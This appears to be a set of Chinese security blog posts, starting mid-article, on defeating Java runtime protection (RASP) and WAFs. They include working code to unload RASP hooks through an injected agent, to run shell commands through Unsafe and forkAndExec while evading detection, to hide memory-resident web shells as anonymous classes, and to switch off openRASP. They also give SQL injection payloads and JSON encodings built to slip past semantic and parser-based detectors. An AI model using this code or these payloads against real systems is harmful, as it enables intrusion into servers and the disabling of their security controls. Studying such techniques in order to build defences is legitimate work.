String path = System.getenv("JAVA_HOME") + "/lib/tools.jar";
String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
String payload = "uninstall.jar";
ClassLoader classLoader = getCustomClassloader(new String[]{path});
Class virtualMachineClass = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Object virtualMachine = invokeStaticMethod(virtualMachineClass, "attach", new Object[]{pid});
invokeMethod(virtualMachine, "loadAgent", new Object[]{payload});
invokeMethod(virtualMachine, "detach", null);

uninstall.jar相关代码(卸载了命令执行、文件操作相关的防护)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static final List<String> uninstallClass = Arrays.asList("java.lang.UNIXProcess", "java.io.FileInputStream", "java.io.File", "java.io.FileOutputStream", "java.nio.file.Files");

@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {

if (className != null) {
String name = className.replace("/", ".");
if (uninstallClass.contains(name)) {
System.out.println("Got it in retransformClasses !!! " + className);
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(name);
byte[] oldByte = ctClass.toBytecode();
if (!Arrays.equals(oldByte, classfileBuffer)) {
System.out.println("Do repair for transform class !!! ClassName: " + className);
return oldByte;
} else {
return null;
}
} catch (Throwable throwable) {
System.out.println("Error in transform !!! ClassName: " + className);
return null;
}
}
}
}

RASP攻防的核心思想总结

未来RASP攻防下的思考-攻击者方向

对于攻击者,一旦能发现RASP未能覆盖的代码执行权限的漏洞,寻找代码执行和RASP覆盖的恶意行为之间的灰色空间,便是突破RASP防护的主要方向。
这个方向又可以拆分成三个重点分支:

  1. 切割堆栈破坏上下文
  2. 破坏RASP运行态
  3. 寻找非RASP语言侧的代码执行

未来RASP攻防下的思考-RASP方向

RASP方向上,为了尽可能的去防止攻击者去寻找这片灰色空间,需要将防护的视角不仅仅放在恶意行为的终点侧,也需要在触发漏洞的源头(如表达式、引擎、反序列化)去做相应的规则,不让攻击者去拿到这个代码执行权限。

引言

当下,语义分析算法因其轻规则、低误漏报、更贴合业务场景等优势被广泛应用于各类型的安全防护产品中,并取得了较好的效果,但现阶段依旧存在一些方法能够有效突破传统语义分析防护,本文会介绍部分SQL注入场景下突破语义分析算法的黑魔法。

语义\词法分析概述

词法分析

现阶段,SQL注入的词法分析主流分为两类:

1.基于弱规则词法黑名单

2.基于词法Token变化

其中基于弱规则词法黑名单的算法被用于大家熟知的Libinjection,主要通过将用户的输入进行Token化,然后再去匹配一份维护好了的SQL注入黑名单规则库,从而有效发现SQL注入问题。

其中各种输入对应词法如下,

检测SQL注入的流程如下,

而基于Token变化的检测算法,规则比上述算法更弱,只需计算用户的输入是否横跨了多个Token,如果横跨了多个Token则判断为存在SQL注入,

语义分析

和词法分析相比,语义分析会做的更加细致,它不仅仅关注SQL的Token,更会去关注用户的输入对具体的SQL结构造成了怎样的改变,这样能够更大程度的解决词法分析仅仅基于Token造成的误报问题。

对于一些运行时安全防护产品而言,由于运行在应用中,可以直接获取到完整的SQL语句,语义分析的准确率往往较高,而对于传统流量型安全防护产品而言,由于只能获取到流量中的用户输入参数,无法知道真实运行的SQL语句是什么样的,就需要额外的工作,大体分为两类:

  1. SQL片段分析:需要基于 Context Free Grammer ,最大的挑战是时间复杂度和准确率。
  2. 构造完整的SQL语句:主流安全产品会假设用户输入参数为 数字型、字符型 两种场景,将参数拼接到简化的SQL语句中构成完整的SQL语句,进而进行语义分析。但很多时候会出现关键字拼接参数(如IN、GROUP BY、ORDER BY等)的场景,这种情况下语义分析准确率就会下降,而如果尽可能的穷举了用户参数的拼接场景,则会造成性能的不可控。

绕过思路

预期外的SQL特性

原理

语义分析会面临的一个最大的难题就是:虽然大部分的数据库语法都比较相似,但不同数据库之间又都有自己独有的一些特性在里面,这样如果攻击者对某一款数据库足够了解,就可能通过一些特殊的SQL特性进行SQL注入,而语义分析之前又未能兼容该特性,从而导致语义分析引擎报错,失去检测能力。

巧用ODBC

ODBC是一个大部分SQL都支持的特性,官方介绍如下

1
{identifier expr} is ODBC escape syntax and is accepted for ODBC compatibility. The value is expr. The { and } curly braces in the syntax should be written literally; they are not metasyntax as used elsewhere in syntax descriptions.

由于ODBC本身的自由性,可以构造出很多非常复杂的SQL语句,从而导致语义分析很难进行识别,

psql并不认识转义字符

几乎大部分主流语义分析引擎、主流数据库都将 \ 理解为转义字符,但PSQL并不这么理解,对 \ 理解上的差异使得绕过PSQL变得十分容易,

神奇的科学计数法

科学符号,特别是 e 符号,已被集成到包括 SQL 在内的许多编程语言中。目前还不清楚这是否是所有 SQL 实现的一部分,但它是 MySQL/MariaDB 实现的一部分。当e符号在无效的上下文中使用的时候,并不会导致SQL报错,而是会被SQL自行忽略,这就导致了SQL注入时的Payload可以通过大量无效科学符号来影响语义分析引擎对SQL语句的解析。

1
select last_name from students where student_id = '1' union select concat 5.e(1.e(flag 10.2e)3.e,'***'6.e) from test 1.e.flag--

注释欺骗的艺术

原理

大部分语义分析往往都是能够识别出注释,并在分析时省略注释后面语句的分析,从而实现更好的性能,那么如果攻击者能够成功构造出语义分析引擎认为是注释而实际数据库并不认为是注释的特殊关键字,再把攻击的Payload隐藏在注释之后,就能成功欺骗语义分析,光明正大的进行SQL注入。

万能注释 //

存在不少语义分析引擎,在解析数据流的时候,会将 // 作为注释处理,忽视后面的内容,而大部分主流数据库,并不将 // 作为注释。

注释结束符的差别

语义分析引擎往往认为 \r \n 都是注释的结束符,但很多数据库(MYSQL\ORACLE等)只认为 \n 是注释结束符,利用注释结束符理解的差异可以构造绕过

mybatis眼中的#

JAVA的mybatis框架会对用户输入的参数做一些特殊的处理,尤其针对形如 #{param} 这种写法的数据的额外处理,会对语义分析造成极强的欺骗性

巧用特殊关键字

原理

除去让很多开发、安全人员熟知的关键字外,不少数据库也拥有一些较为冷门的关键字,这些关键字在语义分析或词法分析时很可能未能兼容,从而导致防护失效。因此,寻找冷门且有效的关键字也是绕过语义分析引擎的一种有效手段,尤其是针对新版本的数据库,往往会出现一些新的关键字,这些关键字极有可能未被兼容。

handle替代select

MySQL除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据。它是MySQL专用的语句,并没有包含到SQL标准中。handler语句由于可以查询数据,因此也是SQL注入中一个十分方便且鲜为人知的关键字。

MEMBER OF函数

MEMBER OF()是一个MySQL8高版本特性,官方定义它是一个函数,但是这个函数的函数名中间还包含空格,十分具有欺骗性,虽然它对于注出数据并没有什么帮助,但是放在注入Payload的前段以促使语义分析引擎解析失败报错却是一个很不错的选择。

1
SELECT last_name FROM students WHERE student_id = '1' and (select substr((SELECT flag from flag), 1, 1) MEMBER OF('["a","b","t"]'))=1;

附录

该篇文章内容为笔者在2023年4月1日阿里先知白帽大会上的分享议题PPT《让SQL注入无所遁形》的分享。内容中删去了防御者视角下的探索,主要展示攻击者如何去绕过使用语义分析算法的安全设备,具体内容详见PPT

引言

安全防护产品在进行防护的时候是需要对流量中的数据进行处理的,同样,被攻击的应用也需要处理这些数据以保证业务的正常进行,然而在很多情况下,安全产品处理数据流的框架和应用处理数据流的框架往往不同,在针对常规数据方面,当然不会出现问题,然而一旦被防护应用的数据处理框架的兼容性大于安全产品数据处理框架的兼容性,那么就会出现这么一种情形:攻击者提交的数据被应用正常解析,而安全产品解析失败,这样恶意的流量就会成功绕过安全产品进入被攻击的应用。因此寻求目标机器与安全防护产品在数据处理能力上的兼容性差异便会成为突破安全产品的一种卓尔有效的手段。

实战讲解

基于json解析兼容性的示例

以Java为例,现阶段市面上主流的处理json字符串的框架有fastjson、gson、jackson三种。常见的WAF为了保证对于各种语言开发应用的兼容性,一般会使用自写的json解析器。由于笔者在进行fuzz的过程中发现,gson和jackson在兼容性方面几乎没有任何差异,猜测这两种框架对于json数据的兼容应该代表着主流json解析器的能力,而fastjson在我的印象中一向拥有更强大的兼容性,所以产生想法,是否可以在一段正常的json数据中各个位置插入不同的字符使得gson(它代表着主流gson解析器)进行json解析时候报错,而fastjson能够正常解析,那么在对应用进行攻击的时候,一旦发现应用使用了fastjson框架,便能构造出WAF认不出来但应用可以认出来的数据,从而突破WAF的防御,代码思路如下

1
2
3
4
1、写一个正常的json字符串。
2、在它的各种位置尝试插入 1-65535 中的每个字符,生产一个非常规json。
3、将非常规json交给gson处理,报错。
4、交给fastjson处理,正常,将该json记录下来。

核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void jsonFuzz(String demo) {
CheckFunc func = new CheckFunc() {
@Override
public void check(String origin, String fuzzData, char fuzzChar) {
//由于打不风安全产品都会对字符串做trim处理,因此,如果fuzz的字符和原字符trim结果相同,基本没什么意义
if (!origin.trim().equals(fuzzData.trim())) {
try {
Entity entity = JSONObject.parseObject(fuzzData, Entity.class);
//********该测试用例中主要用来发掘fastjson兼容而gson不兼容的特性,但有些安全产品使用自研json解析器,json兼容性更差,则可以注释掉下面代码,直接fuzz出fastjson的全部特性
try {
Gson gson = new Gson();
Entity gsonEntity = gson.fromJson(fuzzData, Entity.class);
if (gsonEntity.toString().equals("Entity{num=666, content='test'}")) {
//如果gson能解了,就代表这个特性gson也是可以兼容的,说明这个fuzzData是无效数据,因为大家都能解,安全产品就具备对这种payload的防御能力了,所以直接return
return;
}
} catch (Exception ignored) {
//如果gson报错了,我们直接忽略它,让程序继续往下走,因为我们期待的数据就是fastjson能解,而gson解不出来的数据
}
//**************************gson-end***************
if (entity.toString().equals("Entity{num=666, content='test'}")) {
System.out.println("charNum: " + (int) fuzzChar + "|char: " + fuzzChar + "|content: " + fuzzData);
}
} catch (Exception exception) {
if (exception instanceof JSONException) {

} else {
exception.printStackTrace();
}
}
}
}
};
int length = demo.length();
for (int i = 0; i < length; i++) {
System.out.println("*************************插入字符位置:" + i + "*************************");
Utils.doFuzz(demo, i, HandleType.INSERT, func);
}
for (int i = 0; i < length; i++) {
System.out.println("*************************替换字符位置:" + i + "*************************");
Utils.doFuzz(demo, i, HandleType.REPLACE, func);
}
}

最终得出结果很多,欢迎大家去笔者github中拉取代码跑一下看一看,这里举出比较有代表性的几种写法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*************************插入字符位置:1*************************
charNum: 12|char: |content: {(这里有一个ascii为12的字符)"num":666,"content":"test"}
charNum: 44|char: ,|content: {,"num":666,"content":"test"}
*************************插入字符位置:10*************************
charNum: 40|char: (|content: {"num":666(,"content":"test"}
charNum: 41|char: )|content: {"num":666),"content":"test"}
charNum: 43|char: +|content: {"num":666+,"content":"test"}
charNum: 44|char: ,|content: {"num":666,,"content":"test"}
charNum: 45|char: -|content: {"num":666-,"content":"test"}
charNum: 59|char: ;|content: {"num":666;,"content":"test"}
charNum: 66|char: B|content: {"num":666B,"content":"test"}
charNum: 76|char: L|content: {"num":666L,"content":"test"}
charNum: 83|char: S|content: {"num":666S,"content":"test"}
charNum: 91|char: [|content: {"num":666[,"content":"test"}
charNum: 93|char: ]|content: {"num":666],"content":"test"}
charNum: 123|char: {|content: {"num":666{,"content":"test"}

通过以上特性去构造sql注入的payload,很多安全产品都无法成功解析数据,取得value,从而失去了sql注入的检测能力。(考虑到不少安全产品对于json采用流式解析,因此导致json异常的特殊字符一定要放在注入payload之前)

结论:Gson相对而言是一种功能较为强大的json解析器了,json兼容性其实算是比较优秀,在笔者的测试过程中也发现存在不少json是gson能解而市面上的WAF解不了了,大家可以去探索试验一下。

基于数字字符兼容性的示例

这个特性同样来自于Java,并且是一个大家耳熟能详的函数,

1
Integer.parseInt(str)

笔者在对该函数进行fuzz的过程中,发现Java的parseInt是支持异形字的,测试代码如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void getParseIntFuzzResult() {
for (char c = 0; c < 65535; c++) {
String str = Character.toString(c);
try {
for (int num : numList) {
if (Integer.parseInt(str) == num && !String.valueOf(num).equals(str)) {
System.out.println(num + ":->charNum: " + (int) c + "|char: " + str);
}
}
} catch (Exception ignored) {

}
}
}

测试结果如下(结果太长,同样只截取部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:->charNum: 1632|char: ٠
1:->charNum: 1633|char: ١
2:->charNum: 1634|char: ٢
3:->charNum: 1635|char: ٣
4:->charNum: 1636|char: ٤
5:->charNum: 1637|char: ٥
6:->charNum: 1638|char: ٦
7:->charNum: 1639|char: ٧
8:->charNum: 1640|char: ٨
9:->charNum: 1641|char: ٩
0:->charNum: 1776|char: ۰
1:->charNum: 1777|char: ۱
2:->charNum: 1778|char: ۲
3:->charNum: 1779|char: ۳
4:->charNum: 1780|char: ۴
5:->charNum: 1781|char: ۵
6:->charNum: 1782|char: ۶
7:->charNum: 1783|char: ۷
8:->charNum: 1784|char: ۸
9:->charNum: 1785|char: ۹

那么这个场景在哪里应用呢,同样是fastJson,审计fastjson的源码,会发现它支持unicode编码,并且在处理unicode编码的使用用到了Integer.parseInt

1
2
3
4
5
6
7
8
9
10
11
代码位置:com.alibaba.fastjson.parser.JSONLexerBase

case 'u':
char c1 = this.next();
char c2 = this.next();
char c3 = this.next();
char c4 = this.next();
int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);
hash = 31 * hash + val;
this.putChar((char)val);
break;

我们取一条最常见的json字符串,看一看它的变形能到什么程度,

1
2
3
4
5
6
//原始json
{"content":"this is glassy","num":1}
//编码变形json
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\x74\x68\x69\x73\x20\x69\x73\x20\x67\x6c\x61\x73\x73\x79","\x6e\x75\x6d":1}
//编码+异形字相结合的变形json
{"\u꣐൦꤆३\u᠐꤀੬f\u꧐໐೬e\u᧐០၇᠔\u᥆໐᮶᠕\u০꩐᮶e\u᮰૦୭꯴":"\u౦௦᮷౪\u୦꣐᠖᪈\u꘠૦੬꘩\u૦೦༧୩\u०꩐꤂꤀\u༠᭐᭖᪉\u᪀۰೭꣓\u۰᧐᥈౦\u᠐၀᱆൭\u᥆၀௬c\u꯰꘠៦᪑\u๐᪐႗౩\u੦᥆۷୩\u०੦߇᧙","\u᱀٠۶e\u०᱀၇౫\u᠐੦꧖d":1}

同样通过异形字的变形,无论在反序列的的利用上还是sql注入的利用上绕过安全产品都可以取得一个比较不错的效果。

总结

通过兼容性突破安全产品的思路和场景当然远不止这些,我相信在类似于xml解析中可能也会存在类似问题,文章权当是抛砖引玉引出一种思路,欢迎优秀的白帽子们深入探索,末尾给出本次试验中的项目代码方便各位调试,查看结果。

UnSafe简介

基础概念

java和C语言相比有一个很大的区别,便是java没有指针,无需进行内存空间的操作(其中包含了内存的分配、内存的回收等等),这样大大简化了Java语言编写的难度,但与此同时,也导致Java语言失去了很多的灵活性。而UnSafe类的出现,便是为了弥补这种便利性的缺失,使Java也具备内存管理能力,但一旦操作不当,很容易造成内存泄漏等问题,这也是这个class给定义为UnSafe的原因。

关键API

下面给出的是笔者觉得比较好用的利用的API。

1
2
3
4
5
6
7
8
9
10
//将引用值存储到给定的Java变量中,根据变量的类型不同还有putBoolean、putInt等等
public native void putObject(Object o, long offset, Object x);
//返回给定的非静态属性在它的类的存储分配中的位置,往往和putXXX一起使用
public native long objectFieldOffset(Field f);
//返回给定的静态属性在它的类的存储分配中的位置,往往和putXXX一起使用
public native long staticFieldOffset(Field f);
//生产VM Anonymous Class,注意这个java中常说的匿名类并不是同一概念,该方法的出现是为了为java提供动态编译特性,在Lambda表达式代码中使用较多,由该函数生产的Class有一个很重要的特性:这个类被创建之后并不会丢到上SystemDictonary里,也就是说我们通过正常的类查找,比如Class.forName等api是无法去查到这个类是否被定义过的。
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);
//通过Class对象创建一个类的实例,不需要调用其构造函数、初始化代码、JVM安全检查等等。同时,它抑制修饰符检测,也就是即使构造器是private修饰的也能通过此方法实例化。
public native Object allocateInstance(Class<?> cls) throws InstantiationException;

如何获取UnSafe

Unsafe类使用了单例模式,需要通过一个静态方法getUnsafe()来获取。但Unsafe类做了限制,如果是普通的调用的话,它会抛出一个SecurityException异常;只有由主类加载器加载的类才能调用这个方法。

目前大部分UnSafe的使用者都会使用反射的方式来获取UnSafe的实例,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
public static Unsafe getUnsafe() {
Unsafe unsafe = null;

try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}

实战讲解

更深层的命令执行

随着RASP的发展,JNI的利用不断的被提上讨论范围,就命令执行这种利用而言,外部流出的大部分JNI的利用都是需要依赖第三方库的,但实际上,就linux来看,Runtime.getRuntime().exec() 本身的最底层就是一个JNI函数,

1
2
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,byte[] argBlock, int argc,byte[] envBlock, int envc,byte[] dir,int[] fds,boolean redirectErrorStream)

那么为什么我们讨论JNI利用的时候,不去直接反射调用forkAndExec函数呢,很重要的一个问题就是,这个函数不是静态方法,需要生成类实例,我们就需要往上层去调用UNIXProcess的构造方法去生成实例,而这样这种利用方式便不再是JNI的调用了,因为你调用了JAVA层的构造函数,这便是RASP产品可以触及到的领域了,细心观察也能发现目前大部分RASP产品都把命令执行功能的检测放到了UNIXProcess的构造方法上。

但是有了UnSafe的allocateInstance函数,一切就会变得简单起来,它可以在不调用UNIXProcess构造方法的前提下生成实例,并且由于allocateInstance本身也是native函数,那么实际上我们整个命令执行的关键点上都是通过JNI来完成了,可以完美避开RASP的防御,下面给出代码示例,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String cmd = "open /System/Applications/Calculator.app/";

int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);

更隐蔽的内存马

内存马问题一向是安全产品中一个比较头疼的问题,一旦再在通信流量上进行了加密处理,那么无论是WAF(加密流量不可解)还是主机防御(木马存在于内存中不落盘)产品都比较难以去发现它。

但随着安全圈大佬们的深入研究,渐渐还是给出了一个较为可行的方案:通过Java Instrumentation进入到JVM内存之中,对JVM所有的加载的可能是木马的Class进行分析,一旦匹配到了较为明显的内存马特征,便对内存中的这个Class进行删除或则还原。目前比较常见的内存马特征有以下几种:

1
2
3
4
1、class的名字是否包含常见的恶意类名称
2、加载该class的classloader是否是危险的classloader,如TransletClassLoader或apache becl的classloader等等。
3、该class是否有落盘 -----该条属于明显特征
4、class中是否包含命令执行的恶意代码

而通过defineAnonymousClass生成的VM Anonymous Class具备如下特征:

1
2
3
4
5
6
1、class名可以是已存在的class的名字,比如java.lang.File,即使如此也不会发生任何问题,java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。  ---将会使类名极具欺骗性
2、该class的classloader为null。 ---在java中classloader为null的为来自BootstrapClassLoader的class,往往会被认定为jdk自带class
3、在JVM中存在大量动态编译产生的class(多为lamada表达式生成),这种class均不会落盘,所以不落盘并不会属于异常特征。
4、无法通过Class.forName()获取到该class的相关内容。 ---严重影响通过反射排查该类安全性的检测工具
5、在部分jdk版本中,VM Anonymous Class甚至无法进行restransform。 ---这也就意味着我们无法通过attach API去修复这个恶意类
6、该class在transform中的className将会是它的模板类名。 ---这将会对那些通过attach方式检测内存马的工具造成极大的误导性

从现阶段内存马的检测模式为参考,可以发现VM Anonymous Class的特性将会大大影响到它的检测,从而形成更加隐蔽且难以处理的内存马。下面给出一段生成VM Anonymous Class的示例代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("java.lang.File");
//这里可以对内存马的class文件进行定制
byte[] data = ctClass.toBytecode();

Class memClass = getAnonymousMemShell(data);
Object memShellObj = memClass.newInstance();
//在这里可以把内存马的实例注入到内存中

String className = memClass.getName();
//可以打印一下className,发现其类名极具欺骗性
System.out.println(className);
//这里可以通过Class.forName尝试查找匿名类,会抛出异常
Class.forName(className);
}

public static Class getAnonymousMemShell(byte[] data){
Unsafe unsafe = Utils.getUnsafe();
return unsafe.defineAnonymousClass(File.class, data, null);
}

突破反射防御机制

近段时间,RASP攻防开始被不断聊起,关于RASP攻防,有一个基于反射的利用方式的提出具备十分强的杀伤性,其基本思路便是一旦攻击者拿到了一个代码执行权限,那么他便可以通过反射的方式取得RASP运行在内存中的开关变量(多为boolean或者AtomicBoolean类型),并把它由true修改为false,就可以使RASP得的防护完全失效。注意,开关变量只是其中一个最具代表性的思路,我们当然有更多的方法去破坏RASP的运行模式,如置空检测逻辑代码(如果RASP使用了js、lua等别的引擎),置空黑名单、添加白名单等

正是由于反射可能会造成较大的危害,不少RASP便有了恶意反射调用模块,jdk本身也有一个sun.reflect.Reflection来限制一些不安全的反射的调用,那么这个时候UnSafe模块便可以通过直接操作内存从而绕过代码层对于恶意反射调用的防御。示例代码如下,

反射修改openRASP的开关变量,将openRASP检测开关置为false,从而使openRASP完全失效。

1
2
3
4
5
6
7
8
9
10
11
try {
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Unsafe unsafe = getUnsafe();
InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
byte[] data = new byte[inputStream.available()];
inputStream.read(data);
Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
Field field = anonymousClass.getDeclaredField("enableHook");
unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));
} catch (Exception e) {
}

总结

由于UnSafe的大部分关键操作都是直接通过JNI去实现的,所以UnSafe的相关危险行为也都是RASP难以防护到的。而UnSafe相关的攻击代码目前也比较少,相关函数的指纹也不在大部分内容检测软件中,所以现阶段对于不少主机防御产品也能起到不小的作用。

最后在末尾附上一张UnSafe功能介绍图。

注:该图片系网上找的,未能发现图片源头,在此提前和作者道个歉。

0%